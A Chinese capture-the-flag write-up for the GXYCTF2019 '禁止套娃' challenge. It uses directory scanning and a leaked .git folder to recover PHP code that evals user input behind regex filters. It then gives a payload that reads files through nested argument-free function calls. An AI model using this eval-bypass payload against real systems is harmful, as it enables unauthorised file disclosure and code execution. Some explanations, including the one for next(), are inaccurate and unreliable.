[GXYCTF2019]禁止套娃1
打开以后什么都没有,源代码也没有,抓包也没有。那目录扫描一下。
命令:dirsearch -u d9284088-1850-4c34-a9be-95f105d2bc2c.node5.buuoj.cn:81
发现/.git/,可能是源码泄露,引用大佬文章
https://www.freebuf.com/articles/web/346607.html
利用工具:GitHack(一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。)
用githack提取出来
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>
代码审计
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
是一种用于检测用户输入是否为特定格式的函数调用字符串的安全校验方法,常见于一些CTF(Capture The Flag)挑战或需要严格限制输入格式的场景中。它的核心目的是防止代码执行漏洞,尤其是远程代码执行(RCE)
🔍 代码逐行解析
-
$_GET['exp']
- 这是从URL的查询参数(GET请求)中获取名为
exp
的输入值。例如,如果URL是http://example.com/?exp=abc()
,那么$_GET['exp']
的值就是字符串abc()
。这是一个直接的用户输入,在安全上是不可信的,需要严格验证。
- 这是从URL的查询参数(GET请求)中获取名为
-
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $input)
-
preg_replace
:这是PHP中用于执行正则表达式搜索和替换的函数。 - 正则模式
/[a-z,_]+\((?R)?\)/
:[a-z,_]+
:匹配一个或多个小写字母、下划线或逗号。这旨在匹配“函数名”。\(
和\)
:匹配字面上的左圆括号和右圆括号。(?R)
:这是正则表达式的递归模式。它表示“递归地匹配整个模式本身”。这使得正则表达式能够匹配嵌套的函数调用,例如a(b(c()))
。- 整个模式的目的就是匹配所有形如
函数名()
、函数名(函数名())
这样的字符串。
-
NULL
:在PHP中,preg_replace
的第二个替换参数是NULL
,这会导致所有匹配到的模式被替换为空字符串(即删除)。
-
-
';' === ...
- 这行代码将经过
preg_replace
处理后的结果与一个单独的分号;
进行全等比较。 - 逻辑是:如果用户输入的
exp
参数完全由符合上述规则(字母、下划线、逗号组成的函数调用,允许嵌套)的字符串组成,那么这些部分会被全部删除,最后理论上应该什么都不剩下。 - 但是,在PHP中,
preg_replace
在处理空字符串时,如果没有任何匹配,可能会返回原始字符串或空字符串。这里的逻辑预期是,合法的输入经过过滤后只会剩下一个分号;
。如果比较成立(结果为真),则说明输入是“安全”的、符合预期的格式。
- 这行代码将经过
那么我们如何在不传入参数的情况下,达到命令执行最终获取 FLAG 呢?其实我们可以通过内置函数的返回值。获取我们想要的结果。
payload:
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
值得一提的是
next() 输出数组中的当前元素和下一个元素的值
因此尝试构造highlight_file(next(next(next(scandir(pos(localeconv()))))));失败